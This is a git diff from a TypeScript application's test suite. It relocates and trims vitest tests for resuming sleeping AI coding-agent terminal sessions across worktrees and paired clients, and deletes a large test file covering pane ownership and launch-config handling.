 import { parseRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import {
   parseLegacyNumericPaneKey,
@@ -7,9 +5,11 @@ import {
 } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { isWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
 import { hasHostSessionMirrorHydrated } from '@/runtime/web-session-tabs-sync/hydration/host-session-mirror-hydration'
-import { hasHostMirrorHandleWaitExpired } from '../../host-mirror-handle-gap-wait'
+import { hasHostMirrorHandleWaitExpired } from './host-mirror-handle-gap-wait'
 import { runtimeEnvironmentIdForWorkspaceOwner } from '../../workspace/ownership/resolve-owner'
-import { warnAmbiguousOwnerOnce } from '../../ambiguous-owner-warning'
+import { warnAmbiguousOwnerOnce } from '../../workspace/ownership/ambiguous-owner-warning'
+import type { useAppStore } from '@/store/index'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 
 type AppStoreState = ReturnType<typeof useAppStore.getState>
 
diff --git a/src/renderer/src/lib/paired-runtime-closed-tab-resume.test.ts b/src/renderer/src/lib/agent-session/resume/paired-runtime-closed-tab-resume.test.ts
similarity index 53%
rename from src/renderer/src/lib/paired-runtime-closed-tab-resume.test.ts
rename to src/renderer/src/lib/agent-session/resume/paired-runtime-closed-tab-resume.test.ts
index ec22f692a8a..0eafb057d5e 100644
--- a/src/renderer/src/lib/paired-runtime-closed-tab-resume.test.ts
+++ b/src/renderer/src/lib/agent-session/resume/paired-runtime-closed-tab-resume.test.ts
@@ -1,30 +1,26 @@
 import path from 'node:path'
 import { afterEach, beforeEach, describe, expect, it } from 'vitest'
-import { applyWebSessionTabsSnapshot } from '@/runtime/web-session-tabs-sync/snapshot-api'
-import {
-  makeSnapshot,
-  resetWebSessionTabsSyncTestState
-} from '@/runtime/web-session-tabs-sync/testing/web-session-tabs-sync.test-fixture'
+import '@/runtime/web-session-tabs-sync/snapshot-api'
+import { resetWebSessionTabsSyncTestState } from '@/runtime/web-session-tabs-sync/testing/web-session-tabs-sync.test-fixture'
 import {
   markHostSessionMirrorHydrated,
   resetHostSessionMirrorHydrationForTests
 } from '@/runtime/web-session-tabs-sync/hydration/host-session-mirror-hydration'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
+import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
+import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
+import { makeCreatedAgentWorktree } from '../../workspace/activation/worktree-activation-created-agent.test-fixture'
+import { resumeSleepingAgentSessionsForWorktree } from './resume-sleeping-agent-session'
 import type { AppState } from '@/store/types'
-
-import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume'
-import type { Worktree } from '../../../shared/worktree/types'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import { toWebTerminalSurfaceTabId } from '../../../shared/workspace-layout/terminal-surface-id'
-import { makeCreatedAgentWorktree } from './workspace/activation/worktree-activation-created-agent.test-fixture'
-import { resumeSleepingAgentSessionsForWorktree } from './agent-session/resume/resume-sleeping-agent-session'
+import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
+import type { Worktree } from '../../../../../shared/worktree/types'
 
 // Paired clients cannot distinguish another client’s close from rekey/pending handles; local records must never authorize another host writer (#21235).
 
 const initialState = useAppStore.getState()
 const ENV_ID = 'env-closed-elsewhere'
 const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const CLIENT_TAB_ID = 'client-created-tab'
+void 'client-created-tab'
 
 function seedPairedWorkspace(paired = true): string {
   const worktree: Worktree = {
@@ -83,33 +79,6 @@ function seedRecord(record: SleepingAgentSessionRecord): void {
   })
 }
 
-function applyHostTabs(worktreeId: string, hostTabIds: readonly string[], version: number): void {
-  const snapshot = makeSnapshot(
-    hostTabIds.map((hostTabId, index) => ({
-      type: 'terminal' as const,
-      id: `${hostTabId}::${LEAF_ID}`,
-      title: 'Claude',
-      parentTabId: hostTabId,
-      leafId: LEAF_ID,
-      isActive: index === 0,
-      status: 'ready' as const,
-      terminal: `term-${hostTabId}`
-    })),
-    { worktree: worktreeId, snapshotVersion: version }
-  )
-  useAppStore.setState(
-    applyWebSessionTabsSnapshot(useAppStore.getState(), snapshot, ENV_ID, Date.now())
-  )
-}
-
-function expectNoAutomaticResume(worktreeId: string): void {
-  expect(resumeSleepingAgentSessionsForWorktree(worktreeId)).toBe(0)
-  const state = useAppStore.getState()
-  expect(state.tabsByWorktree[worktreeId] ?? []).toEqual([])
-  expect(state.pendingStartupByTabId).toEqual({})
-  expect(state.automaticAgentResumeClaimsByTabId).toEqual({})
-}
-
 describe('a tab closed on another paired client', () => {
   beforeEach(() => {
     useAppStore.setState(initialState, true)
@@ -123,38 +92,6 @@ describe('a tab closed on another paired client', () => {
     resetHostSessionMirrorHydrationForTests()
   })
 
-  it('is not resumed from a record keyed by the tab id this client created it under', () => {
-    const worktreeId = seedPairedWorkspace()
-    useAppStore.setState({
-      tabsByWorktree: {
-        [worktreeId]: [
-          {
-            id: CLIENT_TAB_ID,
-            ptyId: null,
-            worktreeId,
-            title: 'Claude',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 0
-          }
-        ]
-      }
-    })
-    const record = makeRecord(worktreeId, CLIENT_TAB_ID)
-    seedRecord(record)
-
-    // The host adopts the client's tab id, then another client closes it.
-    applyHostTabs(worktreeId, [CLIENT_TAB_ID], 1)
-    expect(useAppStore.getState().tabsByWorktree[worktreeId]?.map((tab) => tab.id)).toEqual([
-      toWebTerminalSurfaceTabId(CLIENT_TAB_ID)
-    ])
-    applyHostTabs(worktreeId, [], 2)
-
-    expectNoAutomaticResume(worktreeId)
-    expectNoAutomaticResume(worktreeId)
-  })
-
   it('still recovers a local native record when the mirror names another execution host', () => {
     const worktreeId = seedPairedWorkspace(false)
     seedRecord({
diff --git a/src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts b/src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts
deleted file mode 100644
index 84c43d98d8d..00000000000
--- a/src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts
+++ /dev/null
@@ -1,859 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
-import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
-import { parseWorkspaceSession } from '../../../../../shared/workspace-session/workspace-session-schema'
-import { useAppStore } from '@/store/index'
-import { resumeSleepingAgentSessionsForWorktree } from './resume-sleeping-agent-session'
-
-// Main's answer to the window's layout commands, as a switch-on build sends them.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-
-const initialAppStoreState = useAppStore.getState()
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const OTHER_LEAF_ID = '22222222-2222-4222-8222-222222222222'
-
-afterEach(() => {
-  vi.unstubAllGlobals()
-  useAppStore.setState(initialAppStoreState, true)
-})
-
-function makeRecord(
-  overrides: Partial<SleepingAgentSessionRecord> = {}
-): SleepingAgentSessionRecord {
-  return {
-    paneKey: 'tab-1:leaf-1',
-    tabId: 'tab-1',
-    worktreeId: 'wt-1',
-    agent: 'claude',
-    providerSession: { key: 'session_id', id: 'sess-1' },
-    prompt: 'finish the task',
-    state: 'working',
-    capturedAt: 1,
-    updatedAt: 1,
-    ...overrides
-  }
-}
-
-function makeTerminalTab(id: string, worktreeId: string): Record<string, unknown> {
-  return {
-    id,
-    ptyId: null,
-    worktreeId,
-    title: 'shell',
-    customTitle: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 1
-  }
-}
-
-function makeLayout(leafId: string, ptyId = 'pty-1'): Record<string, unknown> {
-  return {
-    root: { type: 'leaf', leafId },
-    activeLeafId: leafId,
-    expandedLeafId: null,
-    ptyIdsByLeafId: { [leafId]: ptyId }
-  }
-}
-
-function makeSplitLayout(
-  leafId: string,
-  otherLeafId: string,
-  ptyIdsByLeafId: Record<string, string>
-): Record<string, unknown> {
-  return {
-    root: {
-      type: 'split',
-      direction: 'horizontal',
-      first: { type: 'leaf', leafId },
-      second: { type: 'leaf', leafId: otherLeafId },
-      ratio: 0.5
-    },
-    activeLeafId: leafId,
-    expandedLeafId: null,
-    ptyIdsByLeafId
-  }
-}
-
-function makeActiveTerminalState(tabId: string, worktreeId = 'wt-1'): Record<string, unknown> {
-  return {
-    activeWorktreeId: worktreeId,
-    activeTabType: 'terminal',
-    activeTabId: tabId,
-    activeTabIdByWorktree: { [worktreeId]: tabId }
-  }
-}
-
-describe('resumeSleepingAgentSessionsForWorktree', () => {
-  it('resumes quit-captured records when no preserved pane can own recovery', () => {
-    const record = makeRecord({ origin: 'quit' })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(1)
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find((tab) => tab.id !== 'tab-1')
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.showSessionRestoredBanner).toBe(true)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('resumes live-checkpoint records when no preserved pane can own recovery', () => {
-    const record = makeRecord({ origin: 'live' })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(1)
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find((tab) => tab.id !== 'tab-1')
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.showSessionRestoredBanner).toBe(true)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('resumes legacy sleep records without an origin when no preserved pane can own recovery', () => {
-    const record = makeRecord()
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(1)
-    const state = useAppStore.getState()
-    const resumedTab = (state.tabsByWorktree['wt-1'] ?? []).find((tab) => tab.id !== 'tab-1')
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.showSessionRestoredBanner).toBe(true)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('skips worktree-sleep records owned by a preserved stable UUID pane', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'worktree-sleep' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1'),
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      terminalLayoutsByTabId: { 'tab-1': makeLayout(LEAF_ID) },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('skips active stable-pane records owned by a single-leaf tab-level wake hint', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'worktree-sleep' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1'),
-      tabsByWorktree: {
-        'wt-1': [{ ...makeTerminalTab('tab-1', 'wt-1'), ptyId: 'tab-level-wake-hint' }]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null
-        }
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('skips active stable-pane records owned by a folder workspace active terminal', () => {
-    const worktreeId = 'folder:folder-1'
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, worktreeId, origin: 'worktree-sleep' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1', worktreeId),
-      tabsByWorktree: { [worktreeId]: [makeTerminalTab('tab-1', worktreeId)] },
-      terminalLayoutsByTabId: { 'tab-1': makeLayout(LEAF_ID) },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree(worktreeId)
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree[worktreeId]).toHaveLength(1)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  // Keep-alive mounts hidden active-worktree tabs for in-place cold restore; appending resume tabs forks the session and strands originals as bare shells (#6800).
-  it('leaves a hidden restorable stable-pane record for in-place cold restore during activation', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'worktree-sleep' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-2'),
-      tabsByWorktree: {
-        'wt-1': [makeTerminalTab('tab-1', 'wt-1'), makeTerminalTab('tab-2', 'wt-1')]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': makeLayout(LEAF_ID),
-        'tab-2': makeLayout(OTHER_LEAF_ID, 'pty-2')
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(2)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('rechecks pane ownership after an earlier fresh resume activates a new terminal', () => {
-    const initiallyUnownedPaneKey = makePaneKey('missing-tab', OTHER_LEAF_ID)
-    const initiallyOwnedPaneKey = makePaneKey('tab-active', LEAF_ID)
-    const initiallyUnowned = makeRecord({
-      paneKey: initiallyUnownedPaneKey,
-      tabId: 'missing-tab',
-      origin: 'quit',
-      providerSession: { key: 'session_id', id: 'sess-first' },
-      capturedAt: 1,
-      updatedAt: 1
-    })
-    const initiallyOwned = makeRecord({
-      paneKey: initiallyOwnedPaneKey,
-      tabId: 'tab-active',
-      origin: 'quit',
-      providerSession: { key: 'session_id', id: 'sess-second' },
-      capturedAt: 2,
-      updatedAt: 2
-    })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-active'),
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-active', 'wt-1')] },
-      terminalLayoutsByTabId: { 'tab-active': makeLayout(LEAF_ID) },
-      sleepingAgentSessionsByPaneKey: {
-        [initiallyUnowned.paneKey]: initiallyUnowned,
-        [initiallyOwned.paneKey]: initiallyOwned
-      }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    const resumedTabs = (state.tabsByWorktree['wt-1'] ?? []).filter(
-      (tab) => tab.id !== 'tab-active'
-    )
-    expect(launched).toBe(2)
-    expect(resumedTabs).toHaveLength(2)
-    expect(Object.keys(state.pendingStartupByTabId)).toHaveLength(2)
-    expect(state.sleepingAgentSessionsByPaneKey[initiallyUnowned.paneKey]).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[initiallyOwned.paneKey]).toBeUndefined()
-  })
-
-  it('skips active stable-pane records in an inactive split leaf of the active terminal tab', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'worktree-sleep' })
-    const layout = {
-      ...makeSplitLayout(LEAF_ID, OTHER_LEAF_ID, {
-        [LEAF_ID]: 'pty-1',
-        [OTHER_LEAF_ID]: 'pty-2'
-      }),
-      activeLeafId: OTHER_LEAF_ID
-    }
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1'),
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      terminalLayoutsByTabId: { 'tab-1': layout },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('skips active stable-pane records owned by a visible non-focused split-group terminal', () => {
-    const paneKey = makePaneKey('tab-right', LEAF_ID)
-    const record = makeRecord({ paneKey, tabId: 'tab-right', origin: 'worktree-sleep' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-left'),
-      activeGroupIdByWorktree: { 'wt-1': 'group-left' },
-      groupsByWorktree: {
-        'wt-1': [
-          { id: 'group-left', worktreeId: 'wt-1', activeTabId: 'unified-left', tabOrder: [] },
-          { id: 'group-right', worktreeId: 'wt-1', activeTabId: 'unified-right', tabOrder: [] }
-        ]
-      },
-      unifiedTabsByWorktree: {
-        'wt-1': [
-          {
-            id: 'unified-left',
-            entityId: 'tab-left',
-            worktreeId: 'wt-1',
-            groupId: 'group-left',
-            contentType: 'terminal'
-          },
-          {
-            id: 'unified-right',
-            entityId: 'tab-right',
-            worktreeId: 'wt-1',
-            groupId: 'group-right',
-            contentType: 'terminal'
-          }
-        ]
-      },
-      layoutByWorktree: {
-        'wt-1': {
-          type: 'split',
-          direction: 'horizontal',
-          first: { type: 'leaf', groupId: 'group-left' },
-          second: { type: 'leaf', groupId: 'group-right' },
-          ratio: 0.5
-        }
-      },
-      tabsByWorktree: {
-        'wt-1': [makeTerminalTab('tab-left', 'wt-1'), makeTerminalTab('tab-right', 'wt-1')]
-      },
-      terminalLayoutsByTabId: { 'tab-right': makeLayout(LEAF_ID) },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(2)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('resumes active worktree-sleep stable-pane records when the preserved leaf has no PTY to cold-restore', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'quit' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1'),
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null
-        }
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find((tab) => tab.id !== 'tab-1')
-    expect(launched).toBe(1)
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.showSessionRestoredBanner).toBe(true)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('resumes live stable-pane records when the preserved leaf has no PTY to cold-restore', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'live' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1'),
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null
-        }
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find((tab) => tab.id !== 'tab-1')
-    expect(launched).toBe(1)
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.showSessionRestoredBanner).toBe(true)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('does not let a sibling split-pane PTY claim a live stable-pane record', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'live' })
-    useAppStore.setState({
-      tabsByWorktree: {
-        'wt-1': [{ ...makeTerminalTab('tab-1', 'wt-1'), ptyId: 'tab-level-wake-hint' }]
-      },
-      ptyIdsByTabId: { 'tab-1': ['sibling-pty'] },
-      terminalLayoutsByTabId: {
-        'tab-1': makeSplitLayout(LEAF_ID, OTHER_LEAF_ID, { [OTHER_LEAF_ID]: 'sibling-pty' })
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.find((tab) => tab.id !== 'tab-1')
-    expect(launched).toBe(1)
-    expect(resumedTab?.launchAgent).toBe('claude')
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.showSessionRestoredBanner).toBe(true)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
-  })
-
-  it('skips hibernated stable panes after their live PTY binding is cleared', () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const record = makeRecord({ paneKey, origin: 'worktree-sleep', state: 'done' })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null
-        }
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    expect(state.pendingStartupByTabId).toEqual({})
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('skips legacy numeric pane-key records owned by a preserved tab wake hint', () => {
-    const record = makeRecord({ paneKey: 'tab-1:0', origin: 'worktree-sleep' })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1'),
-      tabsByWorktree: {
-        'wt-1': [{ ...makeTerminalTab('tab-1', 'wt-1'), ptyId: 'wake-hint' }]
-      },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('does not let mixed legacy provider sessions claim the whole preserved tab', () => {
-    const first = makeRecord({
-      paneKey: 'tab-1:0',
-      origin: 'quit',
-      providerSession: { key: 'session_id', id: 'sess-1' }
-    })
-    const second = makeRecord({
-      paneKey: 'tab-1:1',
-      origin: 'quit',
-      providerSession: { key: 'session_id', id: 'sess-2' },
-      capturedAt: 2,
-      updatedAt: 2
-    })
-    useAppStore.setState({
-      tabsByWorktree: {
-        'wt-1': [{ ...makeTerminalTab('tab-1', 'wt-1'), ptyId: 'wake-hint' }]
-      },
-      sleepingAgentSessionsByPaneKey: {
-        [first.paneKey]: first,
-        [second.paneKey]: second
-      }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(2)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(3)
-    expect(state.sleepingAgentSessionsByPaneKey[first.paneKey]).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[second.paneKey]).toBeUndefined()
-  })
-
-  it("leaves a workspace sleep's records to main while their tab remains", () => {
-    const record = makeRecord({ origin: 'worktree-sleep' })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    expect(resumeSleepingAgentSessionsForWorktree('wt-1')).toBe(0)
-    const state = useAppStore.getState()
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
-  })
-
-  it('uses captured launch config instead of changed settings when resuming worktree sleep', () => {
-    const record = makeRecord({
-      agent: 'codex',
-      origin: 'quit',
-      launchConfig: {
-        agentCommand: "codex --profile captured '--model' 'gpt-5' '--reasoning-effort' 'high'",
-        agentArgs: '--model gpt-5 --reasoning-effort high',
-        agentEnv: { CODEX_PROFILE: 'captured' }
-      }
-    })
-    useAppStore.setState({
-      settings: {
-        agentCmdOverrides: { codex: 'codex --profile changed' },
-        agentDefaultArgs: { codex: '--model changed' },
-        agentDefaultEnv: { codex: { CODEX_PROFILE: 'changed' } }
-      },
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    expect(launched).toBe(1)
-    const state = useAppStore.getState()
-    const resumedTab = state.tabsByWorktree['wt-1']?.[0]
-    const startup = state.pendingStartupByTabId[resumedTab!.id]
-    expect(startup?.command).toBe(
-      "codex --profile captured '--model' 'gpt-5' '--reasoning-effort' 'high' '-c' 'disable_paste_burst=true' 'resume' 'sess-1'"
-    )
-    expect(startup?.env).toEqual({ CODEX_PROFILE: 'captured' })
-    expect(startup?.command).not.toContain('changed')
-    expect(startup?.launchConfig).toEqual(record.launchConfig)
-    expect(startup?.resumeProviderSession).toEqual(record.providerSession)
-  })
-
-  it('launches once and clears skipped duplicates for the same provider session', () => {
-    const first = makeRecord({
-      paneKey: 'tab-1:leaf-1',
-      capturedAt: 1,
-      updatedAt: 1,
-      launchConfig: { agentArgs: '--older', agentEnv: {} }
-    })
-    const duplicate = makeRecord({
-      paneKey: 'tab-2:leaf-1',
-      capturedAt: 2,
-      updatedAt: 2,
-      launchConfig: { agentArgs: '--newer', agentEnv: {} }
-    })
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [] },
-      sleepingAgentSessionsByPaneKey: {
-        [first.paneKey]: first,
-        [duplicate.paneKey]: duplicate
-      }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(1)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    const resumedTab = state.tabsByWorktree['wt-1']?.[0]
-    expect(state.pendingStartupByTabId[resumedTab!.id]?.launchConfig).toMatchObject({
-      agentArgs: '--newer'
-    })
-    expect(state.sleepingAgentSessionsByPaneKey[first.paneKey]).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[duplicate.paneKey]).toBeUndefined()
-  })
-
-  it('lets a preserved pane claim its provider session and clears only stale duplicates', () => {
-    const ownedPaneKey = makePaneKey('tab-1', LEAF_ID)
-    const stalePaneKey = makePaneKey('missing-tab', OTHER_LEAF_ID)
-    const owned = makeRecord({ paneKey: ownedPaneKey, origin: 'quit' })
-    const stale = makeRecord({
-      paneKey: stalePaneKey,
-      tabId: 'missing-tab',
-      origin: 'quit',
-      capturedAt: 2,
-      updatedAt: 2
-    })
-    useAppStore.setState({
-      ...makeActiveTerminalState('tab-1'),
-      tabsByWorktree: { 'wt-1': [makeTerminalTab('tab-1', 'wt-1')] },
-      terminalLayoutsByTabId: { 'tab-1': makeLayout(LEAF_ID) },
-      sleepingAgentSessionsByPaneKey: {
-        [owned.paneKey]: owned,
-        [stale.paneKey]: stale
-      }
-    } as never)
-
-    const launched = resumeSleepingAgentSessionsForWorktree('wt-1')
-
-    const state = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(state.tabsByWorktree['wt-1']).toHaveLength(1)
-    expect(state.sleepingAgentSessionsByPaneKey[owned.paneKey]).toBe(owned)
-    expect(state.sleepingAgentSessionsByPaneKey[stale.paneKey]).toBeUndefined()
-  })
-
-  it('does not let completed same-provider hibernation evidence launch before an active fresh resume', () => {
-    const completedPaneKey = makePaneKey('tab-completed', OTHER_LEAF_ID)
-    const activePaneKey = makePaneKey('tab-active', LEAF_ID)
-    const completed = makeRecord({
